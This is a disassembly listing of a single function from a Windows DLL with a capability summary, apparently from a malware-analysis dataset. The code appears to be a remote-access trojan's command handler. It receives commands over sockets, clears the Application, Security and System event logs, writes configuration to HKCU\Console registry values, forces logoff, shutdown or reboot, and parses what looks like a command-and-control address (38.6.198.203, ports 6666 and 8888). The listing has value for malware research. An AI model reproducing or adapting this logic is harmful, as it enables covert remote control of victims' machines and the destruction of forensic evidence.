Function at 0x18000db90
Capabilities:
Access the windows event log
Clear windows event logs
Create thread
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x2f]
sub rsp, 0xc8
lea rbx, [rcx + 0x43c]
xor esi, esi
mov r13d, r8d
mov rdi, rdx
mov r12, rcx
cmp dword [rbx], esi
jne 0x18000dc23
lea rax, [rbp - 1]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rbp - 0x21], 3
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x51], esi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000dc19
mov rcx, qword [rbp - 1]
lea rax, [rbp - 0x51]
lea r9, [rbp - 0x21]
mov qword [rsp + 0x28], rax
lea rdx, str.IpDatespecial
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [rbp - 0x51], 1
ja 0x18000e9c9
movzx edx, byte [rdi]
mov qword [rsp + 0x108], r14
mov qword [rsp + 0xc0], r15
cmp edx, 0xca
ja case.0x18000dc5d.20
lea r8, [0x180000000]
movzx eax, byte [r8 + rdx + 0xea40]
mov ecx, dword [r8 + rax*4 + 0xe9dc]
add rcx, r8
jmp rcx
cmp dword [r12 + 0x444], esi
jne 0x18000e9b9
mov r15d, 1
mov eax, r15d
xchg dword [r12 + 0x444], eax
mov byte [rbp + 0x67], 0xcb
cmp dword [r12 + 0x10], esi
jne 0x18000e9b9
mov rcx, qword [r12 + 8]
lea rdx, [rbp + 0x67]
mov r8d, r15d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x18000e9b9
cmp r13d, 0xa45
jne 0x18000e9b9
lea ecx, [r13 - 1]
call fcn.1800155f8
xor edx, edx
mov r8d, 0xa44
mov rcx, rax
mov r13, rax
call fcn.180017e30
lea rdx, [rdi + 1]
mov rcx, r13
mov r8d, 0xa44
call fcn.180014f80
cmp dword [r12 + 0x448], 1
jne 0x18000dcfe
lea rcx, [r13 + 4]
lea rdx, str._s_bin
mov r8, rcx
call qword [sym.imp.USER32.dll_wsprintfW]
mov rbx, qword [0x180046fb8]
mov r9, qword [0x180046fc0]
cmp rbx, r9
je 0x18000dd44
mov rax, qword [rbx]
lea r8, [r13 + 4]
mov rcx, qword [rax + 0x18]
add rcx, 4
sub r8, rcx
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x18000dd37
add rcx, 2
test eax, eax
jne 0x18000dd23
test edx, edx
je 0x18000dda4
add rbx, 8
cmp rbx, r9
jne 0x18000dd11
mov ecx, 0xa45
call fcn.180012914
mov r15d, 1
mov r8d, 0xa44
mov byte [rax], 5
lea rcx, [rax + 1]
mov rdx, r13
mov rbx, rax
mov dword [r13 + 0x204], r15d
call fcn.180014f80
cmp dword [r12 + 0x10], esi
jne 0x18000dd8f
mov rcx, qword [r12 + 8]
mov r8d, 0xa45
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, r13
call fcn.180014f2c
mov rcx, rbx
call fcn.180014f2c
jmp 0x18000e9b9
mov r11, qword [rbx]
lea r10, [r13 + 0x20c]
mov rcx, qword [r11 + 0x18]
lea rax, [rcx + 0x20c]
sub r10, rax
nop dword [rax]
movzx r8d, word [rax]
movzx edx, word [rax + r10]
sub r8d, edx
jne 0x18000ddd6
add rax, 2
test edx, edx
jne 0x18000ddc0
test r8d, r8d
je 0x18000de4c
test rcx, rcx
je 0x18000ddf3
call fcn.180014f2c
mov r11, qword [rbx]
mov qword [r11 + 0x18], rsi
mov r9, qword [0x180046fc0]
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x18000de12
call fcn.180015ae0
mov r11, qword [rbx]
mov qword [r11 + 0x20], rsi
mov r9, qword [0x180046fc0]
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000de29
call fcn.180014f2c
mov qword [rbx], rsi
mov r9, qword [0x180046fc0]
lea rdx, [rbx + 8]
mov rcx, rbx
sub r9, rdx
and r9, 0xfffffffffffffff8
mov r8, r9
call fcn.180014f80
sub qword [0x180046fc0], 8
jmp 0x18000dd44
lea r8, [0x18000d390]
mov r9, r11
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call fcn.1800159ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call fcn.180014f2c
jmp 0x18000e9b9
mov ecx, 0xa44
call fcn.1800155f8
xor edx, edx
mov r8d, 0xa44
mov rcx, rax
mov r13, rax
call fcn.180017e30
lea rdx, [rdi + 1]
mov rcx, r13
mov r8d, 0xa44
call fcn.180014f80
movsxd rcx, dword [r13 + 0x208]
call fcn.180012914
movsxd r8, dword [r13 + 0x208]
lea rdx, [rdi + 0xa45]
mov rcx, rax
mov rbx, rax
call fcn.180014f80
mov ecx, gethostbyname
call fcn.1800155f8
lea rcx, [r12 + 0x28]
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], rbx
mov qword [rax + 8], rcx
mov ecx, dword [r12 + 0x438]
mov qword [rbp - 0x11], rax
mov dword [rax + 0x10], ecx
mov ecx, dword [r12 + 0x440]
mov dword [rax + 0x14], ecx
mov ecx, dword [r12 + 0x448]
mov dword [rax + 0x28], ecx
lea rcx, [rbp - 0x11]
mov qword [rax], r12
call fcn.180010380
mov r14d, dword [r13 + 0x208]
add r14d, 0xa74
movsxd rcx, r14d
call fcn.180012914
mov r12, qword [rbp - 0x11]
mov rdi, rax
test rax, rax
je 0x18000e04d
mov rcx, rax
mov rdx, r13
mov r8d, 0xa44
call fcn.180014f80
mov rcx, qword [r12]
mov rdx, rbx
mov qword [rdi + 0xa44], rcx
mov rcx, qword [r12 + 8]
mov qword [rdi + 0xa4c], rcx
mov rax, qword [r12 + 0x10]
lea rcx, [rdi + 0xa74]
mov qword [rdi + 0xa54], rax
mov rax, qword [r12 + 0x18]
mov qword [rdi + 0xa5c], rax
mov rax, qword [r12 + 0x20]
mov qword [rdi + 0xa64], rax
mov rax, qword [r12 + 0x28]
mov qword [rdi + 0xa6c], rax
movsxd r8, dword [r13 + 0x208]
call fcn.180014f80
lea r8, [rbp - 0x39]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x18000e03b
mov ecx, 0x1fe
call fcn.180012914
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
lea rdx, [r13 + 4]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rsi
mov rbx, rax
mov qword [rsp + 0x20], rsi
call fcn.180006ee0
mov rcx, qword [rbp - 0x39]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp - 0x39]
mov r9d, 3
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test rbx, rbx
je 0x18000e03b
mov rcx, rbx
call fcn.180015ae0
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.180015ae0
mov r9, r12
lea r8, [0x18000d390]
jmp 0x18000e8be
mov dl, 1
mov rcx, r12
call fcn.18000ec90
jmp 0x18000e9b9
mov dword [rsp + 0x30], esi
lea r8, [rbp - 0x19]
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x59]
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov dword [rbp - 0x59], esi
mov dword [rbp - 0x31], esi
mov dword [rbp - 0x19], esi
mov byte [rsp + 0x20], sil
call fcn.18000ee40
movsxd rsi, dword [rbp - 0x59]
mov rdi, rax
test esi, esi
jne 0x18000e110
mov ecx, 0x200
call fcn.1800155f8
xor edx, edx
mov r8d, 0x200
mov rcx, rax
mov rbx, rax
call fcn.180017e30
lea rax, [0x180033f8c]
lea rcx, [rbx + 2]
lea r9, [0x180034848]
lea r8, str._s__s_n
mov edx, 0xff
mov qword [rsp + 0x20], rax
mov byte [rbx], 1
call fcn.1800157bc
cmp dword [r12 + 0x10], esi
jne 0x18000e103
mov rcx, qword [r12 + 8]
mov r8d, 0x200
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.180014f2c
jmp 0x18000e9b9
lea r13d, [rsi + 1]
movsxd rcx, r13d
call fcn.180012914
mov r8, rsi
mov rdx, rdi
lea rcx, [rax + 1]
mov rbx, rax
mov byte [rax], 3
call fcn.180014f80
cmp dword [r12 + 0x10], 0
jne 0x18000e14b
mov rcx, qword [r12 + 8]
mov r8d, r13d
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
test rdi, rdi
je 0x18000e158
mov rcx, rdi
call fcn.180015ae0
mov rcx, rbx
call fcn.180015ae0
jmp 0x18000e9b9
mov edx, r13d
mov rcx, rdi
call fcn.18000f630
jmp 0x18000e9b9
lea rax, [rbp - 0x1d]
mov dword [rbp - 0x1d], esi
lea r9, [rdi + 1]
mov qword [rsp + 0x28], rax
lea r8, [0x18000fd50]
jmp 0x18000e8c3
movzx ecx, byte [rdi + 1]
test ecx, ecx
je 0x18000e1b9
dec ecx
jne 0x18000e9b9
lea r8, [rdi + 2]
lea rdx, str.REMARK
mov rcx, r12
call fcn.18000fc70
jmp 0x18000e9b9
lea r8, [rdi + 2]
lea rdx, str.GROUP
mov rcx, r12
call fcn.18000fc70
jmp 0x18000e9b9
lea rdx, [rdi + 1]
mov rcx, r12
call fcn.18000eb10
jmp 0x18000e9b9
mov byte [rbp + 0x7f], socket
cmp dword [r12 + 0x10], esi
jne 0x18000e9b9
mov rcx, qword [r12 + 8]
lea rdx, [rbp + 0x7f]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x18000e9b9
mov ecx, dword [rdi + 1]
mov eax, dword [rdi + 5]
lea r8, [rbp - 0x41]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rdx, [rbp - 0x15]
lea rcx, [rbp - 0x55]
xor r9d, r9d
mov dword [rbp - 0x55], esi
mov dword [rbp - 0x15], esi
mov dword [rbp - 0x41], esi
mov byte [rsp + 0x20], 1
call fcn.18000ee40
movsxd rbx, dword [rbp - 0x55]
lea r13d, [rbx + 5]
mov rsi, rax
movsxd rcx, r13d
call fcn.180012914
mov r8, rbx
mov rdx, rsi
lea rcx, [rax + 5]
mov rdi, rax
mov byte [rax], setsockopt
mov dword [rax + 1], ebx
call fcn.180014f80
cmp dword [r12 + 0x10], 0
jne 0x18000e280
mov rcx, qword [r12 + 8]
mov r8d, r13d
mov rdx, rdi
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
test rsi, rsi
je 0x18000e28d
mov rcx, rsi
call fcn.180015ae0
mov rcx, rdi
call fcn.180015ae0
jmp 0x18000e9b9
lea rax, str.Application
mov qword [rbp + 7], rax
lea rax, str.Security
mov qword [rbp + 0xf], rax
lea rax, str.System
mov qword [rbp + 0x17], rax
nop dword [rax + rax]
mov rdx, qword [rbp + rsi*8 + 7]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov rbx, rax
test rax, rax
je 0x18000e2e9
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc rsi
cmp rsi, 3
jl 0x18000e2c0
jmp 0x18000e9b9
call fcn.180008e90
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call fcn.180009590
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.180009590
jmp 0x18000e9b9
mov ecx, 1
call fcn.180009590
xor edx, edx
lea ecx, [rdx + 6]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.180009590
jmp 0x18000e9b9
mov ecx, 1
call fcn.180009590
xor edx, edx
lea ecx, [rdx + 5]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.180009590
jmp 0x18000e9b9
mov ecx, select
call fcn.1800031f0
mov ecx, dword [r12 + 0x448]
test ecx, ecx
je 0x18000e3ec
dec ecx
jne 0x18000e9b9
mov ecx, 0x200
mov dword [r12 + 0x448], esi
call fcn.1800155f8
xor edx, edx
mov r8d, 0x200
mov rcx, rax
mov rbx, rax
call fcn.180017e30
lea rcx, [rbx + 2]
lea r8, [0x1800348e0]
mov edx, 0xff
mov byte [rbx], 1
call fcn.1800157e0
cmp dword [r12 + 0x10], esi
jne 0x18000e3df
mov rcx, qword [r12 + 8]
mov r8d, 0x200
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.180014f2c
jmp 0x18000e9b9
mov r15d, 1
mov ecx, 0x200
mov dword [r12 + 0x448], r15d
call fcn.1800155f8
xor edx, edx
mov rcx, rax
mov r8d, 0x200
mov rbx, rax
call fcn.180017e30
lea rcx, [rbx + 2]
lea r8, [0x1800348c0]
mov edx, 0xff
mov byte [rbx], r15b
call fcn.1800157e0
cmp dword [r12 + 0x10], esi
jne 0x18000e44a
mov rcx, qword [r12 + 8]
mov r8d, 0x200
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.180014f2c
jmp 0x18000e9b9
mov ecx, 0x7d2
call fcn.1800155f8
mov r8, r13
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.180014f80
lea r11, [rbp - 0x49]
lea rdx, str.Console
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 0x49]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp - 0x49]
lea eax, [r13 - 1]
mov dword [rsp + 0x28], eax
lea rdi, [rbx + 2]
lea rdx, str.IpDate
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 0x200
test eax, eax
je 0x18000e53f
call fcn.1800155f8
xor edx, edx
mov r8d, 0x200
mov rcx, rax
mov rbx, rax
call fcn.180017e30
lea rcx, [rbx + 2]
lea r8, [0x180034910]
mov edx, 0xff
mov byte [rbx], 1
call fcn.1800157e0
cmp dword [r12 + 0x10], esi
jne 0x18000e528
mov rcx, qword [r12 + 8]
mov r8d, 0x200
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.180014f2c
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x18000e9b9
call fcn.1800155f8
xor edx, edx
mov r8d, 0x200
mov rcx, rax
mov rbx, rax
call fcn.180017e30
lea rcx, [rbx + 2]
lea r8, [0x180034928]
mov edx, 0xff
mov byte [rbx], 1
call fcn.1800157e0
cmp dword [r12 + 0x10], esi
jne 0x18000e58a
mov rcx, qword [r12 + 8]
mov r8d, 0x200
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.180014f2c
lea r8, [0x1800429ae]
lea rdx, [0x1800347d8]
xor r9d, r9d
mov rcx, rdi
call fcn.180009a90
lea r8, str.6666
lea rdx, [0x1800347e0]
xor r9d, r9d
mov rcx, rdi
call fcn.180009a90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x1800347e8]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r9d, esi
mov rdx, rsi
mov r11, rbx
mov r15d, 1
movsxd r14, eax
test ebx, ebx
jle 0x18000e688
nop word [rax + rax]
mov r10d, esi
mov r8, rsi
test r14d, r14d
jle 0x18000e63f
lea rbx, [rdx + rdx]
lea r12, [0x1800347e8]
sub rbx, r12
add rbx, rdi
nop dword [rax]
movzx eax, word [r12 + r8*2]
lea rcx, [rbx + r8*2]
cmp word [rcx + r12], ax
jne 0x18000e63b
inc r8
inc r10d
cmp r8, r14
jl 0x18000e620
mov r12, qword [rbp + 0x67]
cmp r10d, r14d
jne 0x18000e662
add rdx, r14
add r9d, r14d
cmp rdx, r11
jge 0x18000e662
nop
cmp word [rdi + rdx*2], 0x7c
je 0x18000e66f
inc rdx
inc r9d
cmp rdx, r11
jl 0x18000e650
inc rdx
inc r9d
cmp rdx, r11
jl 0x18000e600
jmp 0x18000e688
mov ecx, dword [0x180042be8]
movsxd rax, r9d
cmp word [rdi + rax*2 - 2], 0x31
cmove ecx, r15d
mov dword [0x180042be8], ecx
lea r8, str.38.6.198.203
lea rdx, [0x180034940]
xor r9d, r9d
mov rcx, rdi
call fcn.180009a90
lea r8, str.8888
lea rdx, [0x180034948]
xor r9d, r9d
mov rcx, rdi
call fcn.180009a90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x180034950]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r9d, esi
mov rdx, rsi
mov r11, rbx
movsxd r14, eax
test ebx, ebx
jle 0x18000e778
nop word [rax + rax]
mov r10d, esi
mov r8, rsi
test r14d, r14d
jle 0x18000e72f
lea rbx, [rdx + rdx]
lea r12, [0x180034950]
sub rbx, r12
add rbx, rdi
nop dword [rax]
movzx eax, word [r12 + r8*2]
lea rcx, [rbx + r8*2]
cmp word [rcx + r12], ax
jne 0x18000e72b
inc r8
inc r10d
cmp r8, r14
jl 0x18000e710
mov r12, qword [rbp + 0x67]
cmp r10d, r14d
jne 0x18000e752
add rdx, r14
add r9d, r14d
cmp rdx, r11
jge 0x18000e752
nop
cmp word [rdi + rdx*2], 0x7c
je 0x18000e75f
inc rdx
inc r9d
cmp rdx, r11
jl 0x18000e740
inc rdx
inc r9d
cmp rdx, r11
jl 0x18000e6f0
jmp 0x18000e778
mov ecx, dword [0x180042e28]
movsxd rax, r9d
cmp word [rdi + rax*2 - 2], 0x31
cmove ecx, r15d
mov dword [0x180042e28], ecx
lea r8, str.127.0.0.1
lea rdx, [0x180034958]
xor r9d, r9d
mov rcx, rdi
call fcn.180009a90
lea r8, [0x18004302a]
lea rdx, [0x180034960]
xor r9d, r9d
mov rcx, rdi
call fcn.180009a90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x180034968]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r9d, esi
mov rdx, rsi
mov r11, rbx
movsxd r14, eax
test ebx, ebx
jle 0x18000e868
nop word [rax + rax]
mov r10d, esi
mov r8, rsi
test r14d, r14d
jle 0x18000e81f
lea rbx, [rdx + rdx]
lea r12, [0x180034968]
sub rbx, r12
add rbx, rdi
nop dword [rax]
movzx eax, word [r12 + r8*2]
lea rcx, [rbx + r8*2]
cmp word [rcx + r12], ax
jne 0x18000e81b
inc r8
inc r10d
cmp r8, r14
jl 0x18000e800
mov r12, qword [rbp + 0x67]
cmp r10d, r14d
jne 0x18000e842
add rdx, r14
add r9d, r14d
cmp rdx, r11
jge 0x18000e842
nop
cmp word [rdi + rdx*2], 0x7c
je 0x18000e84f
inc rdx
inc r9d
cmp rdx, r11
jl 0x18000e830
inc rdx
inc r9d
cmp rdx, r11
jl 0x18000e7e0
jmp 0x18000e868
mov ecx, dword [0x180043068]
movsxd rax, r9d
cmp word [rdi + rax*2 - 2], 0x31
cmove ecx, r15d
mov dword [0x180043068], ecx
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [r12 + 8]
mov rax, qword [rcx]
call qword [rax]
jmp 0x18000e9b9
mov ecx, 0x7d2
call fcn.1800155f8
mov rbx, rax
cmp r13d, 0x7d2
jne 0x18000e9b9
mov r8d, r13d
mov rdx, rdi
mov rcx, rax
call fcn.180014f80
mov r9, rbx
lea r8, [0x18000d780]
mov qword [rsp + 0x28], rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call fcn.1800159ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000e9b9
cmp dword [rbx], esi
je 0x18000e9b9
lea rax, [rbp - 0x29]
lea rdx, str.Console
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 0x29]
lea rdx, str.IpDatespecial
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp - 0x29]
lea rdx, str.IpDatespecial
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x18000e9b9
cmp dword [rbx], esi
je 0x18000e9b9
lea rax, [rbp - 9]
lea rdx, str.Console
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 9]
lea rdx, str.IpDatespecial
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x18000e9b9
mov rcx, r12
cmp byte [rdi + 1], sil
jne 0x18000e9a9
xor edx, edx
call fcn.18000ec90
jmp 0x18000e9b9
mov dl, 1
call fcn.18000ec90
jmp 0x18000e9b9
mov ecx, edx
call fcn.1800031f0
mov r14, qword [rsp + 0x108]
mov r15, qword [rsp + 0xc0]
add rsp, 0xc8
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret